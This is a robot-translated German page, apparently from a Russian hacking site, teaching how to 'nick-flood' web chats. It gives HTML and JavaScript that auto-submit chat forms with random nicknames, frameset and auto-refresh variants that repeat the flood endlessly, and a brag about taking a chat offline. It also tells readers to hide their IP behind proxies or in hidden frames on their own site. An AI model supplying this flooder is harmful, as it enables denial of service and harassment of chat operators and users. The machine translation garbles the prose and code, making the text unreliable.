This page has been robot translated, sorry for typos if any. Original content here.

Anti-Chat oder Nick Flooding Teil 1

Fortsetzung >>>


Wir haben das FA-Thema fortgesetzt und beschlossen, einen weiteren Artikel zu schreiben, der nun genau seinem Titel entspricht. Achtung: Benutzen Sie dies ausschließlich, um die "frostgeschlagenen" Administratoren zu bekämpfen, die aus dem Grund oder auch nur aus dem Grund aus dem Chat hinausgeworfen werden, auch ohne diesen. Verwenden Sie dieses Tool nicht in Chatrooms, an denen Sie verfremdet sind. Sie werden nicht zulassen, dass sich jemand mit Ihnen unterhält , denn eine beeindruckende Anzahl verschiedener "Leute" wird in den Chat eintreten und es werden so viele von ihnen sein, die Sie nicht im Chat ausdrücken können. Das heißt also "Nick Flooding" oder den Chat mit nicht existierenden Besuchern.

Wir speichern die Startseite auf der Festplatte.
Um zu implementieren, benötigen Sie einen Chat mit einem Eintrag ohne Registrierung, sowie ein wenig Wissen über HTML (obwohl, was es ist). Wir speichern die Startseite des Chats, hier steht "Spitzname eingeben"

Der Code ist darüber

<html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi method = postname = "chat_x" > - wo die Daten gesendet werden an
Geben Sie Ihren Nickname ein: <input type = text name = Nick > - Hier geben Sie einen Nickname ein
<INPUT name = Farbtyp = versteckter Wert = rot> - Farbe
<INPUT type = submit value = "Start !!!" > - Taste

..................... </ html> </ body>

Und so sieht es im Browser aus: Geben Sie Ihren Spitznamen ein

Wenn Sie eine Startseite als Frames geladen haben, d. H. Sie können die Nachricht bereits sehen, am unteren Rand steht "Geben Sie Ihren Spitznamen ein" (in der Regel ist dies der niedrigste Frame), klicken Sie dort (rechts) und wählen Sie "View as html", dort wird auch im Hauptfall der Code komplizierter.

wenn Sie in der Lage sind, mit dem Chat von einer Festplatte zu arbeiten, ist es auch möglich, in diesem Chat den Code des untersten Frames nach der ersten gesprochenen Phrase zu haben:

<html> <body> ......................

<FORM action = / cgi-bin / chat / login.cgi method = postname = "chat_x" > - wo die Daten gesendet werden an
<input type = versteckter Name = Nick- Wert = Dein Nickname> - Nickname (kann gar nicht gesehen werden)
<INPUT name = Farbtyp = versteckter Wert = rot> - Farbe
Geben Sie die Phrase ein <INPUT TYPE = TEXT name = say size = "24"> - das Phraseneingabefeld
<INPUT type = submit value = "Sag !!!" >

..................... </ html> </ body>

Wenn sich dieser Chat unter http://www.domen.ru befindet, dann wird in der Zeile <FORM action = /cgi-bin/chat/login.cgi method = post name = " chat_x "> diese Adresse auch registriert: <FORM action = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> jetzt diese Datei ausführen, wir gehen auch von Chat zu, name = " chat_x " kann abwesend sein, dann Zeit ist erlaubt, es selbst hinzuzufügen. Anstelle von chat_x, kann auch als Freund bezeichnet werden. Wenn Sie aus dieser Datei in den Chat gelangen können, gehen Sie zu den nächsten Elementen.

Das erste Feature: Generieren Sie "Besucher-Chat"

Wenn wir einen Spitznamen für unsere Zwecke verwenden, wird er nicht mehr als 2-3 Sätze ausdehnen ... wird rausgeworfen. Daher ist es notwendig, dass der Spitzname immer anders war. Dies wird uns helfen Java Script zu schreiben (Sie müssen es nicht wissen, setzen Sie einfach Ihre Zahlen) Math.floor (Math.random () * 100000000)

Ein Beispiel wird durch Klicken auf den Button angezeigt:


Erläuterung: Das mathematische Objekt Math: Math.random () erzeugt eine Zahl von 0 bis 1, dann wird diese Zahl mit Hilfe von Math.floor () abgerundet und um mit einer ganzen Zahl wie 10 multipliziert zu werden, eine Zahl von 0 bis 9, multipliziert mit 100, dann bis zu 99, multipliziert mit 1000, dann bis zu 999. dh. die Länge der resultierenden Zahl, ist kleiner oder gleich der Anzahl von Nullen, einschließlich der Zahl multipliziert mit .... Pfannkuchen, selbst ist bereits verwirrt Lächeln glücklich )) Im Beispiel (siehe unten) ist diese Zahl 100000000 was dazu führt, dass wir eine Zufallszahl bekommen, das wird ein Spitzname sein ...
Damit diese Nummer in das Formular für den Spitznamen passt, legen wir es in den Start der Seite, d. H. im <body> -Tag wird dies später sein: <body onload = "document.chat_x.nick .value = (Math.floor (Math.random () * 1000000)) "> achten Sie auf den Namen des Formulars (siehe Beispiel HTML Code oben ist es gelb markiert), ist dies notwendig, damit die Zufallszahl auch im gewünschten Feld in die gewünschte Form passt.

Ein weiteres Feature: Senden von "Besuchern" zum Chat.

<script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(Dokument Chat_x .submit ())", 1000);
}
</ script>

Dieses Skript drückt quasi den Button "Absenden" und sendet Daten aus dem Formular mit dem Namen chat_x. Im Chat kann dieser Button als "Chat eingeben" oder "Say" bezeichnet werden, mit einer Verzögerung von 1000 ms, so dass Sie zuerst sehen können (später können Sie 100 setzen), aber dann werden die Daten automatisch gesendet, aber dafür müssen Sie die Funktion submit submit () auf der Startseite unserer Seite registrieren. Wenn die Seite geladen wird, wird eine Zufallszahl ausgewählt und dann in das Formular chat_x geschrieben. Feld Nick. auch Daten aus dem chat_x Formular an den Server gesendet, stellt sich heraus, dass der Chat an Personen mit einem Spitznamen in Form von mehreren Nummern ging.

Ein Beispiel für einen HTML-Code eines einfachen Chat-Flooders

<HTML> <HEAD> <TITLE> Chat-Flooder </ TITLE>

<script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(Dokument Chat_x .submit ())", 1000);
}
</ script>

</ HEAD>
<BODY bgColor = # 000066 onload = "document.Chat_x.Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = postname = " chat_x ">
<input name = Farbtyp = versteckter Wert = rot>
Nick: <input name = nick type = text>
<INPUT type = submit value = " Start !!! ">
</ BODY> </ HTML>

Die letzte ... persönlich Überschwemmung

Um dies zu tun, essen drei Möglichkeiten.

1.Erstelle eine Datei, die ein Frame-Paar enthält, in einer Datei, die beim Hochladen einen Nickname erzeugt, der sie auch an den Chat sendet, rufe sie forma.htm auf, aber in einem anderen Frame ist jede andere Datei, die ich im Beispiel habe, yo.htm. Und speichern Sie es mit dem Namen frames.htm Der Code für dieses Dokument lautet:

Der Inhalt der Datei frames.htm

<html> <head> <title> Chat-Flooder </ title> </ head>
<frameset rows = "*, 100">
<frame name = "main" src = " forma.htm ">
<frame name = " send " src = " yo.htm ">
<noframes> <body>
<p> Diese Seite verwendet Frames, aber Ihr Browser unterstützt sie nicht. </ p>
</ body> </ noframes> </ frameset>

Der Name des Send- Frames wurde speziell vergeben, weil die Daten werden an sie gesendet, damit die Datei forma.htm nach dem Upload nicht entladen wird. Fügen Sie in Code forma.htm Folgendes hinzu: im <FORM action = ..... target = " send "> -Tag und in der Quellzeile der Zeile: <meta http-equiv = "Refresh" content = "1"> damit die Datei selbst aktualisiert jede Sekunde, und stellen Sie Timer = 0 ein. Was passiert ist: Die Datei wird aktualisiert, sendet auch an den Chat des Besuchers, es kann in dem Rahmen mit dem Namen SEND ie gesehen werden. statt der yo.htm Datei erscheint ein Chat, dann wird forma.htm immer wieder aktualisiert und sendet eine neue Braue an den Chat, es wird auch wieder aktualisiert und der Chat geht wieder neu ... also bis ins Unendliche :) Die Aktualisierungsrate basiert auf der Verbindungsgeschwindigkeit.

Beispiel für den Inhalt der Datei forma.htm

<HTML>
<HEAD> <TITLE> Chat-Flooder </ TITLE>
<meta http-equiv = "Refresh" content = " 1 ">
<script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(Dokument Chat_x .submit ())", 0 );
}
</ script>

</ HEAD>
<BODY bgColor = # 000066 onload = "document.Chat_x.Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = postname = " chat_x " target = " send ">
<input name = Farbtyp = versteckter Wert = rot>
Nick: <input name = nick type = text>
<input name = password type = versteckter Wert = "">
<INPUT type = submit value = " Start !!! ">
</ BODY> </ HTML>

2 Methode. Zuerst machen wir 4 Dateien, die sich nur in der Verzögerung unterscheiden, wenn sie auch eine Frame-Datei senden, in der es zum Beispiel 16 (!) Frames gibt, in den ersten vier der ersten Datei darin Timer = setTimeout ("(document.chat_x.submit () ); In den anderen vier Frames wird die zweite Datei geladen, in der die Verzögerung 10.000 beträgt, in der dritten 4.30.000. Nun, in der vierten wird die vierte Datei mit einer Verzögerung von 40.000 geladen. alle 10.000 ms werden von 4 "Leuten" besucht und alle sind unterschiedlich, obwohl sie in Form von Zahlen sind, aber das ist Müll ... Wenn Sie das Anmeldeformular verwendet haben, werden alle in den Chat "gehen", aber wenn die Form des Sendens der Nachricht es ist erlaubt, einen anderen Absatz des Textes als eine Nachricht zu schreiben, zu der Zeit wird jeder erzeugte Spitzname beginnen zu sprechen ... Experimentieren Sie, versuchen Sie andere Varianten mit Rahmen ...

Es bleibt nur, um Ihre IP zu verbergen, es ist erlaubt, A4Proxy zu verwenden, wählen Sie eine große Liste von Servern ...

3 Methode. Wenn Sie eine Website zum Essen haben, können Sie diese Dateien beispielsweise in einem versteckten Rahmen platzieren, während IP immer anders sein wird ...

Chat abrufen :)

Chats, die das System von privaten Computern verwenden, sind so angeordnet, dass sie ohne Unterbrechung "on-line" mit dem Computer des Benutzers sind. fortwährend für ihn den Fluss der Nachrichten generieren, verfolgen, ob er noch nicht getrennt hat, auch wenn die Benutzer viele Dinge tun, dann kann der Chat dem "Fall" nicht standhalten. Also, gerade waren wir in einem Chat, der bis zu 70 Personen aushalten kann, dann hört es einfach auf zu arbeiten, auch wenn die Startseite geladen ist ... Diesen Chat "manuell" war nicht schwierig, es war nur notwendig eine Datei zu erstellen, Chat, eine Minute nach dem Start dieser Datei, im Chat zu den bestehenden 23-m wurde etwa 50 Personen hinzugefügt :) ) Auch fällt es ab (ich benutzte eine Datei aus vielen Frames, in der es auch eine blah Datei gab) Und es sollte angemerkt werden, dass wir im Club waren aber es gab eine beeindruckende Geschwindigkeit auch leistungsstarke Computer :) . Kann auch mit dem Modem auch herauskommen (; zB mit jemandem gleich auch sofort anfangen zu müssen), oder erst mal selber zu probieren, weiß ich nicht ... Vergiss nicht, dass die Chat-Logs auch von den Admins danach erscheinen mögen, wie es aussehen soll :) Jetzt ist der Zugriff von der IP-Adresse des Internetclubs "GeForce" in diesem Chat geschlossen :)

FAQ: Wenn es nicht in irgendeiner Weise funktioniert

FloDer : Ich kann nichts tun :)
Versuchen Sie zuerst, nur mit der Festplatte zu chatten, d. H. aus dem Eingabeform auf der Schraube gespeichert, wenn alles rausfiel, dann der Fehler im Code "script-flooder" :) , wenn es nicht klappt, dann lies weiter ...

FlooDer : Ich kam von der Festplatte, jetzt kann ich die Daten nicht senden :) was zu handeln?
Überprüfen Sie die Richtigkeit des Namens der Formulare (name = XxXxX)

FlooDer : In der Zeile <FORM action = http: //www.***.ru/chat.cgi Methode = post> common no name = "XxXxX" , was soll ich tun ?
Fügen Sie sich selbst ein: (name = "chat_x" target = "send") target - damit die Daten an den Send-Frame gesendet werden, funktioniert das wie folgt: <FORM action = http: //www.***.ru/chat.cgi method = post name = "chat_x" target = "send ">

FlooDer: Wenn du den Chat betrittst , musst du ein Passwort eingeben, ist es okay, wenn kein Nickname registriert ist, wie kann man ihn in den Code schreiben?
In das Formular für die Eingabe des Passworts müssen Sie hinzufügen: value = "abrakadabra" dann wird dieses Passwort durch alle generierten "Benutzer"

Fortsetzung >>>

Es wird nicht überflüssig sein, dass Ihre Freunde diese Informationen kennen, ihren Artikel mit ihnen teilen!

Expand / Collapse Feld "Expand / Collapse" mit Kommentaren

Anmerkungen

Wenn Sie sich dazu äußern, denken Sie daran, dass Inhalt und Ton Ihrer Botschaft die Gefühle realer Menschen verletzen, Ihren Gesprächspartnern Respekt und Toleranz zeigen, selbst wenn Sie ihre Meinung nicht teilen, Ihr Verhalten unter den Bedingungen der Meinungsfreiheit und Anonymität nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare werden aus dem Index verborgen, Spam wird kontrolliert.
Jetzt kann jeder Artikel veröffentlichen
Probieren Sie es zuerst aus!
Schreiben Sie einen Artikel
Hat es gefallen? Abonnieren Sie RSS- News,
der erste sein, der Informationen erhält
über alle wichtigen Ereignisse des Landes und der Welt.
Sie können auch shram.kiev.ua unterstützen, klicken Sie auf: